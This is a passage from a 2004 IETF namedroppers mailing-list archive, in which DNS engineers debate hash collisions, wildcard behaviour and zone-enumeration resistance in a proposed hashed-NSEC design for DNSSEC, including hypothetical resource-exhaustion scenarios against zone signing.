undisclosed-recipients: ; X-Virus-Scanned: by amavisd-new at irisa.fr Precedence: bulk People interested in ipseckey RR should have a look at that patch. This is for the BIND 9.3 series ftp://idsa.irisa.fr/local/idsa/code/patch-bind/bind9.3.0rc3+ipseckey.patch This implementation follows draft-ietf-ipseckey-rr-11. I've taken 49 as RR type(the first available AFAICT), but it can be easily changed. Feel free to send comments, remarks. -- Fort David, Projet IDsA IRISA-INRIA, Campus de Beaulieu, 35042 Rennes cedex, France T�l: +33 (0) 2 99 84 71 33 -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 15:03:49 +0100 Lines: 73 Sender: owner-namedroppers@ops.ietf.org References: <200409152357.i8FNvc8i027222@drugs.dv.isc.org> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 16:17:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk> In-Reply-To: <200409152357.i8FNvc8i027222@drugs.dv.isc.org> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 16 September 2004 09:57 +1000 Mark Andrews <Mark_Andrews@isc.org> wrote: > The zone size is irrelevent. > > If the number of QNAMES > number of hash function outputs > (true of all the proposals todate). > > You will have collisions. They CANNOT be prevented. Aaahhhhhhh - you are talking about a different type of hash collision. I have previously been talking about collisions either between the hashed values of two RR labels, or between the hashed value of one label and the unhashed value of the other. These are avoidable [1] because the number of labels (and thus the number of hashed labels) in the zone is limited. You are (here), I think, talking about potential collisions between the hashed value of a QNAME, and hashed values of RR labels in the zone file, where the unhashed QNAME does not correspond to the RR label. I now understand the comment "if you find one of these you get to be famous on serving the record". However, I don't think it necessarily breaks anything. Let's assume you agree with [1] above (that you can create a zone without collisions with "itself") which I'm pretty sure is correct. Now the problem to be solved is that there is a very large number of possible QNAMEs and it is possible (albeit unlikely) that a query is made with a QNAME which has the same hash with something already in the zone file. So let's assume that there are a set of labels P(1)..P(n) in the zone which are ordered by hashed order, and that they we have a non-colliding salt, meaning there is a value S such that: * For no i,j, H( P(i), S ) = P(j) * For no i,j, i!=j, H( P(i), S ) = H ( P(j), S) And let's further assume we have a colliding Query Q, such that for some k, H(Q, S) = H( P(k), S ), but P(k) != Q Now, if someone makes a query for Q, BY ASSUMPTION the zone is non-self colliding, so RR Q does not exist (else RR Q would have the same hash as P(k) and we'd have chosen a different salt - as we could detect this at zone preparation time). So if we return an NSEC-x record that says "there are no RR's in the [open] interval H(P(k), S) ... H(P(k+1), S)", that also implies that there ARE RR's at P(k), and P(k+1), and thus BECAUSE the zone is non-colliding with itself (see [1]), that OTHER than the exact label names P(k), P(k+1), there are no other RR's with the same hash and thus "there are no RR's in the [closed] interval H(P(k), S) ... H(P(k+1), S)) other than P(k) and P(k+1)". Provided the reply contains the QNAME whose existence is being denied, the "other than" cases can be distinguished. Thus I think that provided we have (as described in a previous email) prevented the zone from colliding with itself, we can still effectively do an authenticated denial of existence for a QNAME whose hash collides with an RR which is present, and for that RR. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Roy Badami <roy@gnomon.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 15:38:58 +0100 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <200409152357.i8FNvc8i027222@drugs.dv.isc.org> <F5CBA54E00290B9A250AA863@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk>, Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 16:50:35 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <F5CBA54E00290B9A250AA863@[192.168.0.16]> X-Mailer: VM 7.18 under Emacs 21.3.1 X-Delivery-Agent: TMDA/1.0.2 (Bold Forbes) X-Primary-Address: roy@gnomon.org.uk Received-SPF: pass (spike.gnomon.org.uk: 81.100.86.162 is authenticated by a trusted mechanism) X-Virus-Scanned: clamd / ClamAV version 0.73, clamav-milter version 0.73a on spike.gnomon.org.uk X-Virus-Status: Clean Precedence: bulk Alex> Now the problem to be solved is that there is a very large Alex> number of possible QNAMEs and it is possible (albeit Alex> unlikely) that a query is made with a QNAME which has the Alex> same hash with something already in the zone file. I think even that will make you famous, assuming you're using full-length SHA-1. Someone needs to do that maths and estimate an upper bound on the probability of this ever happening. ie assume that: * the distribution of the output of SHA-1 is uniformly distributed * we have the largest zone we can ever imagine * we have the largest number authorative namesservers we can imagine * these nameservers are the fastest we can imagine * they are speding all their time answering queries for random non-existent names And then work out the probability of *ever* seeing a collision assuming 160 bit hashes. Let's choose some figures for the above, and then work out whether this is worth worrying about. -roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 01:39:26 +0700 Lines: 60 Sender: owner-namedroppers@ops.ietf.org References: <16713.42370.782695.453488@giles.gnomon.org.uk> <200409152357.i8FNvc8i027222@drugs.dv.isc.org> <F5CBA54E00290B9A250AA863@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Alex Bligh <alex@alex.org.uk>, Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk>, Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 21:10:21 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Roy Badami <roy@gnomon.org.uk> In-Reply-To: <16713.42370.782695.453488@giles.gnomon.org.uk> Precedence: bulk Date: Thu, 16 Sep 2004 15:38:58 +0100 From: Roy Badami <roy@gnomon.org.uk> Message-ID: <16713.42370.782695.453488@giles.gnomon.org.uk> | | Alex> Now the problem to be solved is that there is a very large | Alex> number of possible QNAMEs and it is possible (albeit | Alex> unlikely) that a query is made with a QNAME which has the | Alex> same hash with something already in the zone file. | | I think even that will make you famous, assuming you're using | full-length SHA-1. Perhaps. But that isn't really the one that is interesting. Assuming the hashes are in the zone as owner names (if they're not, then I don't care in the slightest about clashes - others might - but that's just the security algorithms, etc, which are outside my field of interest) then the clash that matters (in this area) is when the QNAME clashes with a NSEC' hash. And that isn't even slightly hard to imagine - I simply query for any random nonsense, get back the NXDOMAIN/NODATA, along with the NSEC' record, take the hash value from it, and do a query on that as a QNAME. So, let's assume that in the example.com. zone I have * IN MX 10 target. www IN A 10.11.12.13 (along with the NS and SOA records for the zone itself of course, but they're not adding any new names). That's it. Now, I query for foo.example.com (type A), get back NODATA and a NSEC' record that demonstrates that "foo" doesn't exist (along with whatever else is required to generate the right answer proof, which I don't care about here). For the purposes here, let a hash value in the NSEC' be H. Now I query for H.example.com. (MX). What do I get here? If I get NODATA, then you have just broken my wildcard MX. If I get "IN MX 10 target." then you have just broken the DNS lookup algorithm. Neither is acceptable. More than that, I assert that my domain (as example.com. in the above) is mine - I registered it, and I decide what names go in it. You (being the IETF or any other standards body) have no business whatever creating names in my zone - no names whatever. That's my ballpark to play in. And this is a much more fundamental principle than having non-enumerable zones. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 10:42:42 +0100 Lines: 46 Sender: owner-namedroppers@ops.ietf.org References: <16713.42370.782695.453488@giles.gnomon.org.uk> <200409152357.i8FNvc8i027222@drugs.dv.isc.org> <F5CBA54E00290B9A250AA863@[192.168.0.16]> <28237.1095359966@munnari.OZ.AU> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk>, Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 12:05:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU>, Roy Badami <roy@gnomon.org.uk> In-Reply-To: <28237.1095359966@munnari.OZ.AU> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 17 September 2004 01:39 +0700 Robert Elz <kre@munnari.OZ.AU> wrote: > So, let's assume that in the example.com. zone I have > > * IN MX 10 target. > www IN A 10.11.12.13 > > (along with the NS and SOA records for the zone itself of course, but > they're not adding any new names). That's it. > > Now, I query for foo.example.com (type A), get back NODATA and a NSEC' > record that demonstrates that "foo" doesn't exist (along with whatever > else is required to generate the right answer proof, which I don't care > about here). For the purposes here, let a hash value in the NSEC' be H. > > Now I query for H.example.com. (MX). > > What do I get here? If I get NODATA, then you have just broken my > wildcard MX. If I get "IN MX 10 target." then you have just broken the > DNS lookup algorithm. You get "IN MX 10 target.". The zone is generated to be non-SELF-colliding so the only record at H is an NSEC' record. Returning an NSEC' record for ANY type of query other than NSEC' is ALWAYS a bad idea. The situation is no different from the zone * IN MX 10 target. www IN A 10.11.12.13 H IN TXT "foobar" If you do a query of type MX for H, you would not expect the TXT record to be returned, you'd expect the wildcard MX to be returned. And just the same happens with the example you have above with * IN MX 10 target. www IN A 10.11.12.13 H IN NSEC' blah Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 12:02:08 +0200 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <25789AA62D44627CC4A84DBC@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 12:17:18 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 17 Sep 2004 10:42:42 BST." <25789AA62D44627CC4A84DBC@[192.168.100.25]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <29758.1095415327.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Alex Bligh <alex@alex.org.uk> wrote: > You get "IN MX 10 target.". The zone is generated to be non-SELF-colliding > so the only record at H is an NSEC' record. Returning an NSEC' record > for ANY type of query other than NSEC' is ALWAYS a bad idea. but that interferes with how wildcards work. The name H exists (per the NSEC RR), so the wildcard doesn't apply - regardless of QTYPE. > The situation is no different from the zone > * IN MX 10 target. > www IN A 10.11.12.13 > H IN TXT "foobar" > > If you do a query of type MX for H, you would not expect the TXT record > to be returned, you'd expect the wildcard MX to be returned. And just One might expect that, but it again isn't how wildcards work (see parallel thread). The basic problem is that hashes, if they use the same namespace (and currently there is no alternative) will introduce new names into the zone. The not so trivial question is whether this is an academic problem or whether it can lead to problems or be abused. Look, for example, at those NSEC' RRs which deny their own existence. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 11:12:13 +0100 Lines: 112 Sender: owner-namedroppers@ops.ietf.org References: <200409152357.i8FNvc8i027222@drugs.dv.isc.org> <F5CBA54E00290B9A250AA863@[192.168.0.16]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 12:26:39 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk> In-Reply-To: <F5CBA54E00290B9A250AA863@[192.168.0.16]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk (Replying to myself). --On 16 September 2004 15:03 +0100 Alex Bligh <alex@alex.org.uk> wrote: > Now, if someone makes a query for Q, BY ASSUMPTION the zone is non-self > colliding, so RR Q does not exist (else RR Q would have the same hash as > P(k) and we'd have chosen a different salt - as we could detect this at > zone preparation time). > > So if we return an NSEC-x record that says "there are no RR's in the > [open] > interval H(P(k), S) ... H(P(k+1), S)", that also implies that there ARE > RR's at P(k), and P(k+1), and thus BECAUSE the zone is non-colliding with > itself (see [1]), that OTHER than the exact label names P(k), P(k+1), > there > are no other RR's with the same hash and thus "there are no RR's in the > [closed] interval H(P(k), S) ... H(P(k+1), S)) other than P(k) and > P(k+1)". > Provided the reply contains the QNAME whose existence is being denied, > the "other than" cases can be distinguished. > > Thus I think that provided we have (as described in a previous email) > prevented the zone from colliding with itself, we can still effectively > do an authenticated denial of existence for a QNAME whose hash collides > with an RR which is present, and for that RR. Hmmm... I've been thinking about this a bit more. Here is a demonstrable potential problem with hash collision: Let us assume you have a non-self-colliding zone with salt S - which I allege one can generate: ; exampel.com presented out of order for clarity xxx IN MX 1.1.1.1 ; Hash is 1000 foo IN MX 2.2.2.2 ; Hash is 2000 bar IN MX 3.3.3.3 ; Hash is 3000 ... IN NSEC' 1000 1000 IN NSEC' 2000 2000 IN NSEC' 3000 3000 IN NSEC' ... As the hash space is smaller than the QNAME space (assuming we don't want to use all 8 bits to represent hashes that's always the case), then there WILL always be a finite number of QNAMEs having the same hash values as some of the labels in the zone (though they will be stupendously difficult to find). Let's assume, however, that we have one, for instance baz.example.com which ALSO has hash value 2000. I do an MX query for baz.example.com. I get back a proof (manner irrelevant) that says hash values 2000 - 3000 (exclusive) don't exist. Now according to my previous posting, I could infer from getting that back that baz.example.com does not exist, as I know there is a label with hash value 2000 that does exist, and the record with hash value 2000 WAS baz.example.com, then I'd have got back an MX record (not a denial of existence). But a (potential) problem arises here: If I do an MX query for foo.example.com, and some interloper captures the response and substitutes it for the same denial of existence as above (i.e. the same one I'd have got asking for foo.example.com), then by my own logic, I'd have to conclude that foo.example.com didn't exist (or I'd have received an MX record back). What I think this means is that any NSEC' proof of the sort above can only disprove the existence of hash values 2001-2999 (etc.) and the existence of a single (unspecified) record with hash value 2000 (and similarly with 3000). One cannot draw an implication as to whether that record is, or is not, the QNAME (if one worries about hash collisions with QNAMEs). Now clearly the label could always be returned in the NSEC' reply, but that would get us back to enumerability. I think the way to fix this is as follows: if the QNAME does not have the same hash as any record (i.e. falls into the open interval between NSEC' records), then simply return then NSEC' record. So if the QNAME has hash 1001, the resolver, seeing there are no records between (open interval) 1000 and 2000, can assume the QNAME does not exist. In the circumstance where there *IS* a hash match, in the response, return the original label that generated that hash. So in the case above of a query for baz.example.com (hash 2000), return foo.example.com, as well as the normal NSEC' proof. Now this could either be done by returning additional records (though I'm not sure those always get passed through the system enough) which would be cleaner, or failing that by having two presigned NSEC' proofs for the interval 1000,2000, one with foo.example.com (to be returned to deny existence of QNAMES with hashes of 1000 exactly), and one without (to be returned to deny existence of QNAMES with hashes of 1001-1999 inclusive) - (NB QNAMES with hash exactly 2000 go into the next pair of NSEC' records). This doesn't enable enumerability for a strong hash as in order to get the record back with foo.example.com in, you'd either have to already know foo (which is hard), or to be able to break the hash (i.e. generate an arbitrary QNAME with hash 1000). The latter as we know is computationally extremely difficult. The unlikelihood of the second form NSEC' records ever occurring might make interoperability testing difficult. This could be resolved by making a deliberately weak hashing mechanism mandatory for interoperability testing. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 11:27:18 +0100 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <200409171002.i8HA28D29763@grimsvotn.TechFak.Uni-Bielefeld.DE> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 12:38:12 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org In-Reply-To: <200409171002.i8HA28D29763@grimsvotn.TechFak.Uni-Bielefeld.DE> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 17 September 2004 12:02 +0200 Peter Koch <pk@TechFak.Uni-Bielefeld.DE> wrote: >> If you do a query of type MX for H, you would not expect the TXT record >> to be returned, you'd expect the wildcard MX to be returned. And just > > One might expect that, but it again isn't how wildcards work (see parallel > thread). OK - I wondered if Robert might mean that, so I set up a test before posting. Try dig MX H.example.alex.org.uk I get: ;; ANSWER SECTION: H.example.alex.org.uk. 494 IN MX 10 target.example.com. No mention of: ;; ANSWER SECTION: H.example.alex.org.uk. 360 IN TXT "HASH" Or are you saying that's changed in DNSSEC? Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 13:31:06 +0200 Lines: 22 Sender: owner-namedroppers@ops.ietf.org References: <219B5BB3E7047FB29435E37B@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 13:39:28 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 17 Sep 2004 11:27:18 BST." <219B5BB3E7047FB29435E37B@[192.168.100.25]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <83.1095420666.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Alex Bligh <alex@alex.org.uk> wrote: > ;; ANSWER SECTION: > H.example.alex.org.uk. 494 IN MX 10 target.example.com. > > No mention of: > ;; ANSWER SECTION: > H.example.alex.org.uk. 360 IN TXT "HASH" > > Or are you saying that's changed in DNSSEC? No, I'm saying that these observations suggest the nameserver implementation used to serve the zone is not protocol conformant (with or without wcard- clarify). They also stumble over a QNAME like 'foo.*.example.alex.org.uk'. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 12:51:42 +0100 Lines: 40 Sender: owner-namedroppers@ops.ietf.org References: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 14:02:58 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org In-Reply-To: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk Peter, --On 17 September 2004 13:31 +0200 Peter Koch <pk@TechFak.Uni-Bielefeld.DE> wrote: >> ;; ANSWER SECTION: >> H.example.alex.org.uk. 494 IN MX 10 target.example.com. >> >> No mention of: >> ;; ANSWER SECTION: >> H.example.alex.org.uk. 360 IN TXT "HASH" >> >> Or are you saying that's changed in DNSSEC? > > No, I'm saying that these observations suggest the nameserver > implementation used to serve the zone is not protocol conformant (with or > without wcard- clarify). They also stumble over a QNAME like > 'foo.*.example.alex.org.uk'. Robert pointed that out off list - I used UltraDNS as the sandbox is behind a firewall. So I tried on the sandbox on Bind 9, and it returns NOERROR, but no data. So my question is, if the zone is * IN MX 10 target. www IN A 10.11.12.13 H IN NSEC' blah And the hash of www is H, what breaks if, on a query of type MX for H, it returns: H IN MX 10 target (i.e. ignores the NSEC' record). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 19:31:53 +0700 Lines: 28 Sender: owner-namedroppers@ops.ietf.org References: <864823E63085C47CEEC82009@[192.168.100.25]> <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 14:42:48 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <864823E63085C47CEEC82009@[192.168.100.25]> Precedence: bulk Date: Fri, 17 Sep 2004 12:51:42 +0100 From: Alex Bligh <alex@alex.org.uk> Message-ID: <864823E63085C47CEEC82009@[192.168.100.25]> | And the hash of www is H, what breaks if, on a query of type MX for H, | it returns: | H IN MX 10 target | (i.e. ignores the NSEC' record). The "ignores the NSEC' record" is not nearly as easy as it seems like it might be (as a message from Mark Andrews pointed out a few days ago). But even if it is easy, explaining how wildcards work now is difficult, and than's when it is all simple, and clean, and consistent (difficult because it sometimes isn't what people are hoping for, or are expecting based upon the assumption that wildcards do pattern matching). Expecting anyone to ever understand the things if we start adding special cases to the algorithm is beyond hope. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 14:47:50 +0200 Organization: RIPE NCC Lines: 85 Sender: owner-namedroppers@ops.ietf.org References: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> <864823E63085C47CEEC82009@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: pk@TechFak.Uni-Bielefeld.DE, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 14:56:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <864823E63085C47CEEC82009@[192.168.100.25]> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.044732 / 0.0 / 0.0 / disabled X-RIPE-Signature: e27f6eb8b369daa3949c8a421c13044e Precedence: bulk On Fri, 17 Sep 2004 12:51:42 +0100 Alex Bligh <alex@alex.org.uk> wrote: > And the hash of www is H, what breaks if, on a query of type MX for H, > it returns: > H IN MX 10 target > (i.e. ignores the NSEC' record). In other words you would propose that the searching algorithm would be modified based on the qtype queried? If so ...auucchhh.... :-) NB it is not that one cannot propose a change to the full standard, wildcard carify proposes (will propose) a change on how wildcard owned CNAMEs are dealth with. A Little Side Track (I am not sure if these scenarios have been scetched, apologies if I am duplicating arguments) EBS1 (Evil Bastard Scenario 0ne): I own secret-wg.org. Tomorrow I am going to register HASH(salt=0x00, secret-wg.org).org HASH(salt=0x01, secret-wg.org).org ... HASH(salt=0xff, secret-wg.org).org Just to make the changes on a hash collission in secret-wg.org 2^24 instead of 2^32. The hash colission being an anoyance during signing because you have to regenerate all NSEC2s with a different salt not because you happen to hit a "real" name. This can be distributed over mulitple registrants can do this each carying their part of the registration costs: HASH(salt=0x00, secret-wg.org).org HASH(salt=0x01, kolkman.org).org ... HASH(salt=0xff, marnick.org).org ... HASH(salt=0xffff, geerthe.org).org you could actually do a DDOS attack on the zone signing process if the salt space is to small. Practically I think 32bits of salt is sufficient to mitigate this, so is registration policy. EBS 2: Today the .org registry generates their NSEC2s with salt(0x4e8aeb32). I register HASH(salt=0x4e8aeb32, secret-wg.org).org That forces the .org registry to roll their salt to e.g. salt(0x23a5883d) at which point I register HASH(salt=0x23a5883d, secret-wg.org).org Problematic? Maybe.. I force them to sign all NSEC2 RRs for all owner names in their zone while otherwise they could have used incremental signing. The underlying assumption for this is that one version of the zone would have the same salt for all the NSEC2 RRs. This would not occur if the NSEC RRs would have owner names in a different namespace in wich you would not be able (or allowed) to register names (a policy and not a protocol issue). --Olaf as namedropper. ---------------------------------| Olaf M. Kolkman ---------------------------------| RIPE NCC -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 14:27:36 +0100 Lines: 96 Sender: owner-namedroppers@ops.ietf.org References: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> <864823E63085C47CEEC82009@[192.168.100.25]> <20040917144750.216cd419.olaf@ripe.net> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: pk@TechFak.Uni-Bielefeld.DE, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 15:40:23 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <20040917144750.216cd419.olaf@ripe.net> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk Olaf, >> And the hash of www is H, what breaks if, on a query of type MX for H, >> it returns: >> H IN MX 10 target >> (i.e. ignores the NSEC' record). > > > In other words you would propose that the searching algorithm would be > modified based on the qtype queried? > > If so ...auucchhh.... :-) > > NB it is not that one cannot propose a change to the full standard, > wildcard carify proposes (will propose) a change on how wildcard owned > CNAMEs are dealth with. I'm not so much proposing it as trying to work out what it would break. Incidentally, is the searching algorithm based on the QCLASS queried? It seemed peculiar to me that NSEC records were of QCLASS "IN" given I suppose they should be equally applicable to HS records etc. If the searching algorithm is indeed currently based on QCLASS (or if changing that doesn't break much given lack of other classes), then perhaps 